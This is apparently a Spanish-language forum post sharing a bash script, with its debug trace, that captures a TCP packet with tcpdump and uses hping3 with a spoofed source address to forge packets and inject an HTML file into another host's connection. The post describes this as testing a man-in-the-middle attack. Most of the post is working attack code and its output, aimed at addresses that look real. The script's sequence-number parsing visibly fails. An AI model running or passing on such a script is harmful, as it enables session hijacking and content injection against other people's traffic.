Script Bash lento....

tcpdump -A -i wlan0 -nvXSs 0 -c1 tcp | grep cksum | grep Flags | head -n 1 | cut -c5-130 > ficheroAux
ip1=$(cut -d' ' -f1 ficheroAux | cut -d. -f1-4)
port1=$(cut -d' ' -f1 ficheroAux| cut -d. -f5)
ip2=$(cut -d: -f1 ficheroAux | cut -d' ' -f2- |cut -d. -f1-4 | cut -c3-15)
port2=$(cut -d: -f1 ficheroAux | cut -d. -f9)
let seqnum=$(cut -dq -f2 ficheroAux | cut -c2-11 | cut -d, -f1)
let seqnumInc=$seqnum+1
hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567890 -L $seqnumInc -S -A -c 1
let seqnumInc2=$seqnumInc+1
hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -c 1
hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -P -c 1 -d 500 -E miFichero.html
rm ficheroAux

La parte que tarda por lo menos a mi ..

es el tcpdump y es normal es lo que tarda en capturar el paquete

Es bueno para debugear sh -x

ejemplo:

sh -x ip.sh
+ tcpdump -A -i eth0 -nvXSs 0 -c1 tcp
+ grep cksum
+ grep Flags
+ head -n 1
+ cut -c5-130
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
1 packet captured
1 packet received by filter
0 packets dropped by kernel
++ cut '-d ' -f1 ficheroAux
++ cut -d. -f1-4
+ ip1=10.40.64.183
++ cut '-d ' -f1 ficheroAux
++ cut -d. -f5
+ port1=37979
++ cut -d: -f1 ficheroAux
++ cut '-d ' -f2-
++ cut -d. -f1-4
++ cut -c3-15
+ ip2=74.125.47.125
++ cut -d: -f1 ficheroAux
++ cut -d. -f9
+ port2=443
++ cut -dq -f2 ficheroAux
++ cut -c2-11
++ cut -d, -f1
+ let seqnum=0.40.64.18
ip.sh: line 9: let: seqnum=0.40.64.18: syntax error: invalid arithmetic operator (error token is ".40.64.18")
+ let seqnumInc=+1
+ hping3 -a 74.125.47.125 10.40.64.183 -s 443 -p 37979 -M 1234567890 -L 1 -S -A -c 1
HPING 10.40.64.183 (eth0 10.40.64.183): SA set, 40 headers + 0 data bytes
len=52 ip=10.40.64.183 ttl=64 DF id=3589 sport=37979 flags=A seq=0 win=477 rtt=0.2 ms

--- 10.40.64.183 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
+ let seqnumInc2=1+1
+ hping3 -a 74.125.47.125 10.40.64.183 -s 443 -p 37979 -M 1234567891 -L 2 -A -c 1
HPING 10.40.64.183 (eth0 10.40.64.183): A set, 40 headers + 0 data bytes
len=52 ip=10.40.64.183 ttl=64 DF id=3590 sport=37979 flags=A seq=0 win=477 rtt=0.2 ms

--- 10.40.64.183 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
+ hping3 -a 74.125.47.125 10.40.64.183 -s 443 -p 37979 -M 1234567891 -L 2 -A -P -c 1 -d 500 -E miFichero.html
HPING 10.40.64.183 (eth0 10.40.64.183): AP set, 40 headers + 500 data bytes
[main] memlockall(): Success
Warning: can't disable memory paging!
[datafiller] open(): No such file or directory
len=52 ip=10.40.64.183 ttl=64 DF id=3591 sport=37979 flags=A seq=0 win=477 rtt=0.2 ms

Probe con la opsion -s pero el ratraso es por el filtro en si ..

Aunque en realidad no tarda demasiado ..

PD esto probando tu Man in thel midle .. que posteaste .. quiza los filtros del cut funcionen mas rapido con perl o awk quizas ..